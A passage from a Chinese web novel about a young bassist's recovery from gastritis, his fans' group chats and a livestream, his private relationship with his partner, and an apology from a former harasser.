一门之隔,护士看着几分钟前询问方向的男人去而复返,思索着是不是她指错了路,才准备回答,男人已从身侧走过。 “让让。”老麦提着果篮,从电梯中挤出,眯眼确认辽光发来的地点信息,眼角带过熟悉的身影。 “纪律?” 纪律抬眼,目光从老麦手中的果篮扫过,语气平淡:“你好。” 纪羽很少提家里的事,但老麦知道他和纪律的关系别扭,说不上十分恶劣,却又不能说是和睦相处。 但纪律一身正装出现在医院显然也是放下工作赶来,对纪羽想必是上了心的。 既然碰见了,寒暄一会儿也正常。 “阿雀不,纪羽怎么样了,没事吗,你这是要去买什么东西还是拿报告,纪羽没回消息,还在睡吗,不然让他说一声我顺路就带上来了。” 纪律没心思交谈,脑海中不断放映着才见到的一幕。 床边左右围着人,插不进空。不用他,纪羽身边也不缺关心,来了一双又来一个。 没完没了。 “你自便吧,我还有事,先走了。” “叮。”电梯到达开启,纪律微一点头,不顾老麦反应,径直进入轿厢。 电梯门缓缓合上。 老麦收回目光。 虽然是兄弟,有那么一点相似的地方,但总体来看真是千差万别,大相径庭。 没把这段插曲当回事,老麦朝走廊处走去。 半晌。 “喂,廖永光,你发的什么定位,人呢,在哪儿!” 内镜检查结果出来得很快,常见的浅表性胃炎。和纪羽从以前开始动不动就吐的习惯也有关系。吐得频繁了纪羽就不爱吃饭,挑食严重,到一个人住挑得更厉害,只选自己喜欢的东西吃。 不过他也有分寸,每次有点腻了就停,吃得少但频繁,算是少食多餐,偶尔聚会也会礼貌性地吃点别人点的菜,营养勉强均衡。 贺思钧回来后把做饭的担子挑起,尽可能做些纪羽爱吃的,慢慢地把胃口打开了,纪羽觉着自己身体好了吃东西也不怎么约束,早上喝点冰的,中午来点调料重的尝尝鲜,晚上再吃些甜的。 俗话说的好,能吃是福,放在纪羽身上多吃点更得拍手叫好,谁也没想他多吃的这点反倒成了负担。 “他体质弱一点,普通人偶尔吃点刺激的也能恢复过来,他的身体就负荷不了,症状表现也会比较重,以后多注意点吧。”医生放下这句话就走了。 纪羽过了禁食期胃里空荡荡的,发了点低烧,没什么特别的不舒服,倒是激起了食欲,而人在饥饿时正是脆弱的时候,他哑着嗓音说:“我想喝糖水。” 护士直面这份期盼,于心不忍但又格外坚决道:“不行哦,除非你还想在医院多待几天。” 纪羽啪叽倒回床上,感觉有重要的东西在离他远去。 贺思钧不想刺激他敏感的心灵,但纪羽确实到了该吃饭的时间。“起来吃点东西吧,糖水以后养好了再喝,好吗。” 纪羽:“吃什么?” 贺思钧说:“米粥,我加了一点鱼汤,好喝的,尝一点?” 纪羽侧身看他,又翻回去,叹了口气。 不是说有情饮水饱吗,为什么看到贺思钧,他更想喝糖水呢。 唉。 第120章 “出院啦?” “是, 待会拿了单子就走了。” “阿东,快点,”华姐催促丈夫, “拿几个苹果。” 说拿几个都是客套话,纪羽接下沉甸甸的袋子放在膝上:“谢谢华姐, 这太多了。” 华姐摆摆手:“不多,每天一个吃得可快了,现在吃不了太硬的就让你弟给你蒸一蒸, 别的太甜的就暂时不吃了啊, 咱们平平安安健健康康的。” 纪羽不想自己每天要喝糖水念叨的话华姐竟然也听着了,有些不好意思, 但也答应道:“好, 不过华姐你也别把蒸苹果当饭吃了。” 说着他从包里掏出两盒营养剂塞给华姐:“这个应该能吃,待会我去问问医生。” 华姐推拒不成只得收下:“能吃能吃, 谢谢我们弟弟了。” 她在这儿住了这么久, 病友来来去去的也习惯了,少见的来了个养眼的, 她是真有点舍不得, 但还是说:“以后就别回来了,在外面好好的。” 纪羽点点头:“华姐我们手机联系, 出院记得和我说啊。” 华姐笑着应了,见贺思钧进来也没再说什么, 痛快地说了拜拜。 在医院买的生活用品能留给华姐的都留下了, 剩下的扔了, 贺思钧提上包,接过纪羽手上的苹果,向华姐二人道了谢, 两人就一块儿离开了。 坐到车里,纪羽长长吐出一口气,贺思钧放好东西从侧边上车,纪羽抬起手来等贺思钧给他扣保险带。 按下卡扣,男人停顿片刻才松开束缚:“累了吗,是不是起太早了,家里我回去收拾过了,回去就能睡。” “……你什么时候回去的?”他印象里贺思钧就没从他边上离开过。 “算了。”纪羽放弃追查,说道,“在想华姐,听说她的病复发之后更难治了,为了治病家里把房子都卖了。前两天她还和我说胃镜是怎么做的呢,我以为她也和我差不多,马上就能出院……” 贺思钧听出他的意思:“你想怎么帮她?” 纪羽手交叉抵在胸前:“我昨天听见东哥在和医生商量申请基金救助。” “好,我去办。别想太多,困了就在车上睡吧。”贺思钧启动车,平缓地驶出停车场,堵在了交汇路口。 早高峰,车水马龙,有司机探头向前望看不到尽头,骂骂咧咧地缩回脑袋。 黑色的隐私车窗严丝合缝地锁紧,阻隔了大部分声音,后视镜中纪羽懒懒靠在椅背上,呼吸平稳,像是睡着了。 “你是不是几天都没复习了?” 声音冷不丁从后排传来。 贺思钧老实道:“嗯。” “咳。” 贺思钧改口:“我错了。” 纪羽下指示:“反正我现在也出院了,你也不用一天到晚跟着我,我把阿姨请回来做饭,这样你就能多点时间做自己的事。” [自己的事] 这四个字实在刺耳,就连贺思钧这种受过专业训练的人也受不住,想为自己谋得一个转圜的机会。 纪羽却是一榔头敲定了,把座位向后倒,躺平了,说道:“我回去想吃蒸苹果,记得叫醒我。” “好。” “下次别买这种车了,坐后面都不方便说话。” “知道了。” 纪羽闭着眼睛音量越来越弱:“你好像我的司机啊……” “……” 【老公还是死的好[禁止外传聊天记录](37)】 【不想谈心:医院偶遇照被屏了。】 【天晴了我擎了:真的哎,发不出去了。】 【雀雀乐:平台终于干了件人事……不知道上传的人什么心理,为什么要拍照片,宝宝都说不喜欢被偷拍了……】 【每天一杯奶茶:有流量吧,之前发法庭照片那个账号已经70万粉了,后来发的内容难看得要死。】 【一月薪资三千五:只能说恋丑癖是绝症,治不好,见不到宝宝之后又复发了。】 【一月薪资三千五:所以到底谁抢到月底的巡演票了,不是都说脱粉吗,开票秒没什么意思?】 【不想谈心:[图片]】 【不想谈心:唉,太难受了,只能靠支持阿雀的事业缓解一下这样子。】 【每天一杯奶茶:没什么好炫耀的,不就是一张票吗,VIP区也没什么的。】 【每天一杯奶茶:[图片]】 【人生几多丈夫:……恨你们。但还有更恨的人……】 【雀雀乐:老公你来了[抹泪]】 【人生几多丈夫:那个男的到底是谁,不是说是司机吗??啥意思可以这么抱着我妻子???】 【天晴了我擎了:[捂嘴哭]被偷家了,我说我妻子有老公都是装的,我不是真的有绿帽癖!】 【一月薪资三千五:不想活了。】 【人生几多丈夫:如果不是看在我妻子还在生病的份上,绝不姑息,立即起诉!】 【不想谈心:谁家情夫开保姆车……就这样放松了警惕!】 【每天一杯奶茶:此子心机深沉不可小觑。】 【一月薪资三千五:真是那个姓贺的吗,确定吗?】 【雀雀乐:差不多就是了吧,叠了一下侧脸基本上都能对上。】 【一月薪资三千五:怎么每次都是他,宝宝好可怜,又生病又被狗男人动手动脚,我想一想就受不了了[痛哭]】 【人生几多丈夫:很正常啦哈哈,毕竟阿雀也不是什么爱豆,谈恋爱也很正常,说不定还是你情我愿的呢哈哈!】 【每天一杯奶茶:别这样家人们,我们要坚强,阿雀还年轻,还有机会……】 【人生几多丈夫:那小三好像是和宝宝同龄啊,三年前还是高中生[愤怒]】 【雀雀乐:天呐,从校服到婚纱[惊恐]】 【天晴了我擎了:这个群究竟是想伤害谁?】 【不想谈心:别哭了家人们,宝宝开直播了,五分钟后开始!】 【一月薪资三千五:我妻子还是记挂着我的,给我发消息还不够,主动视频通话给我报平安,心里暖暖的[爱心]】 【人生几多丈夫:没出息的丈夫。】 漆黑的直播间响起窸窣的声响。 “这个打开了吗,我什么都看不见。” 隐约有脚步声靠近,忽然,画面亮起,占满屏幕的脸直直对着镜头,直播间人数猛然翻了一番。 “好了,我要开始直播了。” 【主播自己cue开场吗,好萌!】 【在通知工作人员不要入镜吧,应该是和屏幕边上的人说的。】 【这不是在家里吗,哪有工作人员,小鸟是乐队贝斯手,不是专业主播。】 纪羽把手机固定退开距离,先打了声招呼:“嗨大家好,我是阿雀。” 【熟悉的开场白,亲亲!】 纪羽看到了弹幕,挑起嘴角笑:“要自我介绍才能让不认识我的人知道我是谁嘛。” 阳光和煦,纪羽坐在飘窗边,纱帘在身旁轻轻浮动,柔和的光线落在上翘的鼻尖、睫毛,头发在光照下毛茸茸的。轻盈的漂亮。 纪羽浑然不觉地凑近镜头读弹幕:“身体还好吗?——现在好了,没什么问题,就是不能吃冰棍和西瓜了。” 【吃坏肚子了吗,之前我连吃十一根冰棍进了医院,好险以为自己要没了。】 【夏天不能吃太凉啊,三伏天也要注意保暖!】 弹幕上分享了很多惨痛经历,纪羽看着看着眉头就拧起来。 【嘿嘿,这个表情也好漂亮,舔舔舔舔舔。】 【小帅哥,被吓到了就来我被窝里躲一躲吧[飞吻]】 【不要梦我宝宝啊!】 【谁说长得漂亮不能当饭吃,皱个眉我都想把钱都打给主播让他吃点好的高兴高兴了。】 【那你打啊,光会口嗨。】 【AAA房地产曾哥送出10个嘉年华】 【宝宝你是个老公送出52个热气球】 【梦女梦男你们想干啥送出8辆跑车】 …… 一时间屏幕眼花缭乱,纪羽这会儿怎么劝弹幕也停不下来,一会儿一个礼物特效清屏,他找了半天才找到关闭礼物功能。 “这怎么退啊,这个兑换用的金币是要充值换的吗?” 【1:1兑换的主播,只有爱心是免费的,嘉年华最贵要9999。】 【把礼物打开呀,感觉还能刷呢。】 【放心吧都是成年人,不会让主播退款的。】 不少人都是被满屏的礼物吸引而来,突然被叫停狂欢在弹幕不满道:【给你刷礼物有什么不高兴的,不知道说句好听的笑一笑哄哄大哥大姐?】 【出来挣钱傲气什么啊。】 【也就脸还能看,不然我早就走了。】 纪羽不笑也不说话了,气氛一时有些冷。 【别说了好吗,都认识阿雀很久了,从来没见他这副表情。】 【我有点害怕。】 【宝宝你说句话啊!】 “首先谢谢送礼物的朋友,我知道你们是喜欢我,你们在弹幕发消息我也可以看到的,不要再送礼物了,赚钱不容易,下播之后我会把钱退回去,我们现在好好地聊天可以吗?” “还有,想看礼物特效的话去专门的主播那里吧,我不会再打开的。”纪羽调整着情绪说话慢慢的,“而且礼物特效都把我挡住了,你们不想看到我吗?” 他嘴上说得温柔,嘴角还是向下抿的,眼里也不带什么笑,有点委屈和生气,像脾气不好的兔子顶着一张没什么表情疯狂跺脚。 很不开心,希望马上被哄。 【支持支持,都看不到我宝宝的脸了,不要再说刷礼物的事了,喜欢吵架的也出去!】 【那么久只开一次直播,要是被你们毁了我不介意把你们通通举报!】 【刚生过病,对这只小鸟好一点好吗,我真的掉小珍珠了……】 【阿雀我抢到你们巡演的票啦!】 【以后到开粉丝直播吧[亲亲]】 【今天的衣服好好看,是在哪里买的呀,我识图没有搜到。】 纪羽看了一会儿恢复正常的弹幕,发觉终于有人注意到自己的衣服,高兴起来了:“这是我朋友送的,她在学服装设计,有邀请我去当她的毕设模特哦,以后有可能会开自己的店铺吧,还不确定。” 大概是他在承风里年纪最小,长得好,业务能力水平高,又好说话,乐迷粉丝都愿意哄着他,纪羽也习惯了他们用长辈的语气和他聊天,总是被带着哄出很多不自觉的撒娇。 一场直播下来,纪羽把近况都透了个七七八八,聊到新曲更是刹不住车,时间不知不觉过去,纪羽视线不佳,才发现太阳已经落山。 “已经很晚了,就到这里吧,以后有时间再聊,拜拜。” 【拜拜宝宝,晚上吃饱一点。】 【嘴巴都干了,记得喝水哦,拜拜!】 画面黑屏。 【嗯?怎么还有声音?】 【主播,你没有点下播!主播!】 【好像走开了。】 【没事,等一会儿应该自动下播了。】 【这哪个工作人员的声音,怎么没听过?】 “喝点水,晚饭做好了。” 纪羽朝厨房看去:“我怎么没听见阿姨来的声音?” 贺思钧面不改色心不跳:“你在直播,阿姨来了不方便。” “对你不方便吧。”纪羽嘀咕。 贺思钧接过水杯,端量一会儿纪羽的神色,俯下身,在纪羽“我就知道”的眼神里不要脸地亲了两口。 纪羽推开他:“刚刚有人给我送礼物,那个软件我不太会用,你帮我操作退一下,顺便帮我把手机充电。” 自从知道贺思钧在计算机上有点天赋,手机电脑有什么问题、需要进行什么操作,纪羽一律甩给他去做,贺思钧很受用:“好,我知道。” 这回,脚步声清晰地响起。 【!!】—— 作者有话说:事业不会受影响。 120-124 第121章 【就爱吃寡妇(998)】 【赤壁势在必行:怎么有人退了?】 【他就是女的怎么了:完了。】 【番茄我是你爹:工作人员吧, 关系比较好的那种……或者是哥哥?】 【天晴了我擎了:嗯。】 【嫂子开门我是我哥:可以相信就好了。】 【你想我怎么办:凭什么啊,无法接受……】 【人生几多丈夫:到底在接受不接受什么,本来看直播很高兴, 就为了一个不知真假的同居emo起来了,到底是喜欢阿雀还是喜欢拿我雀当皮套挑男人, 只关心他本人不好吗?】 【雀雀乐:老公……】 【嫂子开门我是我哥:没必要把话说那么难听吧,大家不也是因为关心才这样吗?】 【一月薪资三千五:感觉大家私下里说说也就算了,一刷首页全是在猜另一个人是谁分析起来了就很不对劲啊, 直播切片都没看到多少, 还是希望别太关注这个把宝宝的直播内容向外推一推……】 【赤壁势在必行:嗯呢,其实什么关系都没差, 本来不就是因为喜欢宝宝随便嗑的吗, 不要让属性凌驾在对宝宝的关注之上吧】 【天晴了我擎了:OK,我把转发都删了, 以后只关注阿雀一个人。】 【每天一杯奶茶:本来就是长期招老公, 但不招长期老公啦^-^】 【番茄我是你爹:今天真的很可爱,说专业领域的时候嘴巴咻咻咻的一点不带停, 唯一老公是贝斯才对[可怜]】 【他就是女的怎么了:我无名分, 我不多嗔~我与你难生恨~】 【不想谈心:关注多搅混水的人也多,大家不要被带节奏啦, 只知道阿雀做得很好[庆祝],无论什么都不影响喜欢小鸟。】 【番茄我是你爹:[愤怒]谁知道是不是狗公司搞的营销手段, 从现在起绝不给宝宝身边任何一个男的眼神[撇嘴]】 【老公还是埋了好[禁止外传聊天记录](37)】 【雀雀乐:好险。】 【不想谈心:好险。】 【每天一杯奶茶:好险。】 【雀雀乐:@人生几多丈夫你才是宝宝三观最正的老公。】 【一月薪资三千:那我是最窝囊废的老公T.T】 【不想谈心:我是最支持宝宝事业的老公[贱笑]】 【每天一杯奶茶:我是永不养胃的老公[贱笑][贱笑]】 【天晴了我擎了:到底都在争什么啊!】- 纪羽看着贺思钧从房间内走出, 诧异道:“弄好了吗, 那么快。” 贺思钧伸手将他从沙发托抱起来向餐厅去:“没有,你手机关机了。” “那待会弄吧,我把他们ID都截下来了, 要是没法退,你就让曲坚联系他们转账退款吧。”纪羽说。 “我知道。” 纪羽驱使着全自动代步人工把他放下:“你要不还是说回‘嗯’吧,我知道我知道的好像更像机器人了。” “以后这些都不说了。” “你有点自己的主见。”纪羽说,“别总被人牵着鼻子走。” 贺思钧也不反驳:“只让你牵着。” “咦!”纪羽皱鼻子。 担心纪羽受直播影响的心渐渐落下,贺思钧提起嘴角。 第二天纪羽要到学校和指导老师见面确定选题,资料准备得很充分,纪羽早早地躺下养精蓄锐。 但太早了,他睡不着。 贺思钧还在书房忙着,纪羽不清楚他是怎么赚钱的,前两天,贺思钧问他想不想搬家,他没同意,贺思钧就让他选了一辆新车。 过段时间得把驾照考了。 前两年也不是没尝试过,但纪羽每回就卡在交通安全警示这块,各种车祸视频循环播放,纪羽看了睡不好,坐上车脑袋发晕,想到纪律这个典型案例,肩膀好像也被什么东西贯穿了似的透风。 说明白点就是怕。 但现在好像没那么怕了,所以一鼓作气地解决掉。 还有什么要做的?纪羽闭着眼睛像是睡着了,脑袋却是高速运转。 没注意时间过了多久,卧室房门锁舌缩回又弹出,贺思钧走路没什么声音,坐到床沿才有了轻微的动静。 时间不早了,怕吵醒纪羽,他在客浴洗了澡。 从宁海回来,纪羽原本是打算和他分房睡的,贺思钧把床单往卧室地上一铺,睡了一个礼拜,纪羽才同意了贺思钧上床睡觉。 纪羽从小睡觉就喜欢抱点什么东西,以前是抓着谁的手臂,怕自己还没睡着人就走了,后来上了初中,才改了习惯。 和贺思钧躺在一块儿睡了几天,旧态复萌,有时醒来才发现怀里抱了什么。 纪羽的呼吸很浅,并不能从呼吸节奏上判断他的睡眠状态,但睡得舒服的时候,就会把脸向枕头里埋,抱着手臂时,会向人颈窝钻。 贺思钧的手臂碰到了他的肩膀。 按往常来说,没一会儿,纪羽就会自觉翻身朝着热源拱。 “贺思钧。” 漆黑的环境中响起纪羽清醒的声音,贺思钧顿住。 纪羽翻身过来面对他,触到他硬邦邦的手臂,疑惑道:“你睡前还健身了吗?” 贺思钧放松肌肉,轻声:“很晚了,还没睡着,哪里不舒服?” 纪羽摇头,但想到那么黑贺思钧看不清,说:“没有,我在想事情。” 想事情从他嘴里说出来就显得很有趣,贺思钧躺下来,他夜视能力很好,可以看到纪羽的发丝垂落在枕面,眼睛睁开一眨一眨的。 “想什么?” 大概是因为夜晚是安睡的时间,所以两人的说话声都放得很轻,浅淡的温馨蔓延。 连谈话内容都显得不那么残酷,纪羽说:“我不会公开和你谈恋爱,你接受吗?” 贺思钧似乎是思考了一会儿才答道:“好。” 为了安慰他,纪羽向前蹭了蹭:“虽然也有很多人出柜,但是我还是不想把我的事都告诉给所有人。” 随着社会进步,大众对同性情侣的接受度在逐步提高,但也不代表公众不会谈论。 就算是异性恋的名人也时刻被审判着,新交的对象是什么样的人,婚姻是否美满,和婆家关系如何,双方身份地位是不是匹配? 只要出现在大众视野中,审视探究的目光就不会停止。或许有人拿私生活当卖点,但纪羽不喜欢被指指点点。 隐瞒是为了保护贺思钧?倒也不是。他不过是想对外表现得更纯粹,想要别人提起阿雀首先想到的是他是个贝斯手,贝斯弹得不错,承风的歌很好听,很值得听现场。而不是这个人恋爱谈得不错。 贺思钧会怀疑他的喜欢不够,当他只是随便玩玩吗?可纪羽想有私心,就算是两个人的感情不平等,他也不想交付自己的一切和人牢牢地绑定在一起。 他坦诚地说了,他给不了贺思钧可能需要的认可,他对于贺思钧的回应是出于本心,想要“逃避”也是出于本心。 贺思钧说没关系。 纪羽坐起来,翻到贺思钧的身上,靠得很近,努力睁大眼观察贺思钧的神色:“真的没关系?你说了就不能反悔了哦,以后也不可以把这件事翻出来吵架。” 在贺思钧印象里,他和纪羽从来没有吵过架,更何况他已经如愿以偿,怎么还会让这份关系有一丝裂缝的可能? “不会,我尊重你的想法,能和你在一起已经够了。”纪羽明明可以不谈论这件事,却还是来询问他的意见,贺思钧不能再高兴了。 旁人说这句话七八成是在投机取巧地说情话,抱着打动人的目的去,但贺思钧说这话就代表他是真的这么想的。 纪羽有点感动,俯下身亲了亲他的嘴巴:“谢谢你哦。” 好乖。 纪羽不喜欢别人夸他乖,但贺思钧找不到其他形容词,纪羽就是他见过最讨人喜欢的,最叫人心软的人,喜欢到恨不得吞进肚子里,谁也不能发觉纪羽的存在。 但有些想法,注定不适于说出口,贺思钧收敛心神,仰头咬住了纪羽嘴角的软肉。 “痛!”每次摇完尾巴就上嘴,纪羽两只手压住贺思钧的嘴巴,说,“我前几年还有个大黑粉呢,也就是你幸运晚了几年和我搞上,不然你也被她骂吧。” “现在这人呢?” “不知道,好像是平台整治了,本来想如果她太过分就再告她一次的。” 贺思钧卡住纪羽的腰,将纪羽放倒在身侧:“我知道是谁了。” 纪羽自觉抱上手臂:“你知道?” “她在我的账号后台发私信问我是不是舔狗,我问什么意思,她让我自己去搜,我搜了,说应该是,她骂我癞蛤蟆,然后把我拉黑了。” 纪羽忍着笑:“是你那个剪辑账号吗?” 贺思钧:“是。” “那好可惜她的账号都没了,不然你就可以告诉她,你其实是青蛙王子了。” 贺思钧想了想:“可以换一个吗?” 纪羽疑惑:“怎么了?” “我不想你亲一只青蛙。” 纪羽抽出脑袋下的枕头砸他:“我又不是真的公主,只是玩笑!” 话虽如此,贺思钧还是亲亲他的嘴巴:“谢谢你让我成为王子。”—— 作者有话说:小心老实人 第122章 世上比钱更难得到的东西说多不多, 说少不少,渠道是其中之一。 贺思钧和社会断档三年,不说合作伙伴, 连朋友也少有,但唯独有一项东西足以令他在起步后畅通无阻。 四年前, 贺思钧曾经只身前往首都,那时火车摇晃,路途遥远, 而四年后, 这段路程不断缩短再缩短。 精神矍铄的老人与他握手:“听说你在…表现不错,三四年了吧?没想到我们还有正式合作的机会。” 贺思钧微微颔首, 背脊挺直:“是, 我很期待。” 酒足饭饱,驱车返回酒店的路上, 贺思钧拨通电话。 几道嘟声后, 一道清越的声音响起。 “喂,贺思钧, 你结束了?” 贺思钧听见纪羽打了个哈欠, 问:“还没回家吗?” “没有,刚把服装定下来, 现在准备回去了,背景还要改, 过几天再说。”纪羽说着哇地张大嘴巴又打了哈欠, “贺思钧, 你那边有没有下雪了,今晚说不定有初雪!” 12月寒冬,气温一降再降, 冻得人骨头缝里疼,风从贺思钧打开的车窗灌进来,被灯光染得浅紫的天空嵌着浓厚的粉云。 “没有,我在的区域还没下,凌晨降雪概率偏大点。”贺思钧在手机上操作两下,“家里的恒温系统我已经打开了,以后出门不用关。新禹记的鱼片粥在路上,还有三十分钟到,回去洗澡不要太久,衣服就丢到篮子里,我后天就回去了。” “哦——”纪羽经常在贺思钧说长篇的关心时发出这种声音,贺思钧问过他是不是不喜欢他这么说,纪羽说没有,只是他习惯作对了,这样回答感觉心情很好。 “华姐今天出院了。”电话那边传来鸣笛声,纪羽应该是走到了街上打车。 他夏天的时候就说要自己开车,但没什么时间去学,到了冬天就犯懒了,嫌累,就算有时间纪羽也不想从被窝里爬起来,练车计划一直搁置到了如今年底。 “这是好事。”贺思钧说。 “嗯。但是我都没去接他们,其实去了也不一定方便,但是当时都说好了……华姐办了出院才告诉我的,我前两天就该说我在南华。” “她怕你来回不方便。”贺思钧安慰,“以后见面的机会还多着。” 纪羽也没多伤心,毕竟华姐能顺利出院是喜事,很快回道:“贺思钧,你好像开窍了,我还以为你会说‘别伤心’呢!” “那我以前在你眼里是不是很笨?” 纪羽笑:“那当……然,我一直都比你聪明。” “小羽,怎么了?”贺思钧注意到纪羽话语的中间有奇怪的卡顿。 “没什么,刚刚差点撞到人了。”纪羽简单带过,“现在九点半,你回去做一张英语真题卷睡觉刚刚好。” 从亲昵的温柔乡到严厉冷酷的指导不过扭个头的功夫。 贺思钧并不反抗,答道:“好,我再做两套政治选择。” “可以。”鸣笛声很响,几乎盖过了纪羽的声音,“我打的车到了,待会发消息吧。” 电话挂断。 纪羽放下手机,抬头与面前男人对视。 男人有一张让纪羽这辈子都很难忘却的脸,也是一张让人手痒的脸,他已经很久没见过了。 上次听到有关他的消息,是7月纪律提到。 ——“莫满出狱了。” 男人像是看出他的顾虑,向他出示友好的微笑:“我是梁子尧,不是莫满。” 他指了指路边停靠的车:“要不要找个地方谈谈,不然我可能要被贴罚单了。” 灯火通明的快餐店内。 纪羽要了一份薯条,沾着番茄酱一根一根啃。 男人面前什么也没有,见纪羽吃得认真,他很怀疑纪羽只是想找个借口来吃垃圾食品,而他则是那个很烂的借口。 “我来是想告诉你,莫满不会再回来了,下个月,你不用再申请禁止令了。” 纪羽抬眼扫了他一眼,咬着的薯条消失速度极快,转眼就清空了一半。 薯条有点咸,他吃得口渴,很克制地要了一杯热红茶,不好喝,囫囵咽下。 “莫满,别装了。” 男人的表情丝毫未变:“纪羽,我没说谎。” 纪羽盯着他看了看,收回目光:“诈你一下。” 梁子尧抬手,摸了摸自己的脸,笑了下:“现在不好认了吗?”说完,他自己也反应过来,“也是,四年不见了。” “你没有其他要说的我要回家了。” 纪羽起身要走。 “等等!”梁子尧攥住纪羽的手臂,手心陷进一片绵软,顿了顿,“你穿好多,很冷吗?” 纪羽本来就怕冷,别人穿一件羊绒就够暖和,他得把自己裹一层再裹一层,偏偏他瘦,不上手摸根本看不出来他穿了多少。 今天到会议室脱衣服时,辽光还笑他:“有只小鸟掉毛裸奔了!” “……”纪羽唰地抽回手,用力拍袖子,“关你什么事,我的手有保险的,你再瞎碰就让你赔钱了!” 莫名其妙!就他身体壮,大冬天穿大衣耍帅,脑子有问题! 威胁起效了,梁子尧撤回前倾的动作:“对不起,我不是有意的。” 其他座位上的顾客闻声看了过来,纪羽不太自在地上拉围巾,遮住脸向外走去。 前段时间不知怎么了乐迷对他的反馈比以前更热烈了,他一出现就在评论里夸他有才能有实力,一定要在音乐领域深耕下去,还在后台私信里发了很多对新单曲的分析感悟,搞得纪羽躺在床上都有点罪恶感,日常工作效率又上一个台阶。 要是刚才那里有人认识他,拍到他和梁子尧在一块儿,那就麻烦了。指不定又闹出什么风波,影响承风的事业运呢! 纪羽快步向前走,梁子尧就在身后跟着,呼呼的风吹得脸疼,梁子尧还在说话。 “他想来找过你,但被我拦住了。” 所以他是来替莫满说情的? “他已经被送出国,再也不可能回来,你可以放心。” 可他早就不在意莫满了。提心吊胆,辗转反侧,是不是这一对兄弟以为他听到莫满出狱的消息会有的表现? 一个永远不可能承认自己错误的人被数十万双眼睛看着宣判有罪,还不足以让他失去所有的自信吗,那这种精神实在是罕见。 “我…咳,我想说,”迎着风,梁子尧呛了满肚子凉气,声音涩然,“我也要走了。” 纪羽停下步子,回过头,脸被围巾捂了大半,一双眼睛清透。 “这和我有什么关系吗?” 铺垫了那么久,还以为是什么大事。 “我应该也不会回来了。”梁子尧的一颗心在纪羽疑惑的眼神里缓缓沉下去,“我申请了德国的研究生,不出意外,我会在那里定居。” “……你想要我说恭喜吗。” 脸冷到麻木,梁子尧做不到支撑起自己的任何表情,嘶哑说道:“我喜欢过你。” 风钻过两人间的空隙,带走了呼吸间的白雾。 梁子尧没听到纪羽的任何回应,意料之内。他依旧说下去:“我以为只是一时兴起,我那时候只想着什么有趣,我没想过我为什么要这么做。如果、如果那时候我能再成熟一点,站在你的角度想一想,可能就不会有今天的局面。” 他不敢看纪羽的眼睛,纪羽的影子投在地上,路灯黯淡,很模糊的灰影。 “我知道我现在说这些可能没什么用了,但我还是想和你道个歉。”他苦笑了一下,“本来是之前就想和你说的,但是我不敢再打电话、去找你,怕你以为我还是在骚扰你。” 这几年里,他一直隐藏在人群中,承风的每一场演出他都在,没有一次被发现。“有时候你向我这边看,我还以为我被发现了。” 退场时他想纪羽会不会就在出口等着他,质问他的意图,他该怎么解释,拿出所有的票根来验证自己的行为纯粹吗,好像会适得其反,如果他诚恳地道歉,是不是会避免争吵,获得谅解呢。 事实上,这也不过是他过于美好的幻想,纪羽再也没有在他身上浪费一分一秒的时间。 哦,他好像被忘记了,彻底被抛之脑后! 契机,他要一个再度和纪羽搭上话的契机,告诉他他确实做错了,他其实没那么坏,纪羽都是知道的。 纪羽都知道的,他见不得人又卑劣的寻求宽恕的目的。 纪羽一定知道的。 纪羽会知道的。 纪羽知道吗? 他不是想要伤害他,他只是不懂怎么去表达他的喜欢,他被带偏了方向,他已经在改了,他有在阻止莫满。 “我是喜欢你的,我没想你受伤,没有莫满,我们可以成为朋友的。从高中入学开始,我对你就有印象,班里很多人都会说起你,说你很好看,得过书法的奖项,家庭条件不错,他们有人还说一定要把你拿下。” 那时候他嗤之以鼻。 他和许多人维持着良好的关系,偏偏避开纪羽,他们从没有交谈,擦肩而过时梁子尧会抬高手臂招呼朋友大步跑开。 “对不起,纪羽。我们没认识过就好了。” …… …… 梁子尧意识到什么,猛然抬眼,风毫无阻碍地扑上面颊。 眼前只有一棵在寒风中摇曳的小树。 纪羽早就走了—— 作者有话说:注意:溺爱只对这个有良心的宝宝有效。 第123章 汇总、审查、回顾、展望……各种琐事汇集到一起使得一年的末尾漫长而煎熬。 新的一年到来前夕, 承风坐上飞机跨越大洋,在地球的另一头,另一片大陆上完成了演出。 返程后辽光在机场就开始骂骂咧咧:“给多少钱老子都不去了, 一句鸟语也听不懂,憋死我了。” 曲坚推着行李箱, 走在最前:“自作自受啊。” 老麦:“看报价应得最快的人没资格说说这些。” 辽光震怒:“你们的意思还是我贪财了?这不是刚好阿雀爸妈在那吗,我不是想让人早点团聚?” 贝旬淡然越过:“伟大。” 辽光:“……” 摁下电梯按键,曲坚回头问道:“还是每个人抽三成, 对吧?” 贝旬:“把辽光那份都拿走他不介意。” 辽光:“介意!” 声音大过了头, 辽光顾及着颜面清了清嗓子:“也没那么介意,就是吧, 多多少少还是留点, 过年还得包红包呢。” 承风有个惯例,每年各自的收入抽出三成来汇总到一起储存起来, 曲坚也包括在内。 不过这项活动向来是瞒着纪羽进行, 到了第二年,这笔钱才会以活动经费名义拿出交给纪羽安排。 “今年还这么说, 就不能说是给他单独发的奖金?”辽光看着不远处夹在父母中间走来的纪羽, “指不定又把钱花到我们自己身上了。” 老麦让人先进电梯,在门外等着:“都一样。” “啧。” 这边纪羽见电梯快关上了, 拖着徐梁纪泽兰就是一顿催:“快点快点,大家在等我们。” 电梯挤入七人, 成功关上, 开始下行。 “阿雀, 你直接回去吧,贝斯我拿到排练室去。”角落里冒出贝旬的声音。 纪羽伸起手比个OK,下电梯后说了声再见, 众人朝着不同的方向离开。 “怎么了,心不在焉的。”出站的路上,纪泽兰发现纪羽一直没说话。 纪羽搓了两下耳朵:“……有点冷。” “今年是冷!”徐梁加快步子走到前边,给妻儿挡风,回过头来问,“接下来的活动在室内还是室外啊,那么冷的天,不搭棚子受不了!” “基本上都在室内。” 纪泽兰拢了拢他的衣领,嗔怪道:“长大了也要自己照顾好自己,你哥说前几个月你不舒服,让我们回来注意点。之前怎么没告诉我们?” 纪羽眼睛向外瞄一眼,又瞄一眼:“你们忙呀,而且我没什么事,已经好了,他都三十了还打小报告……” “我还得说他呢,到现在才说,小病就是这么拖成大病,一点都不会照顾人,难怪到现在都找不到姑娘愿意跟他。” “要他谈恋爱祸害人干嘛呀。” 纪泽兰捏了捏他的耳垂:“好了,不说这个。小宝,打个电话问问司机到哪儿了,怎么还没见人?” “嗯。”纪羽搓了一把脸,纪泽兰和徐梁在身侧看着他拨通电话,纪羽的声音有点轻微的抖。 “……你出来吧……我们到了。” 纪泽兰察觉到不对,看向儿子的眼神中带上了疑惑,却见纪羽的目光望向某一处。 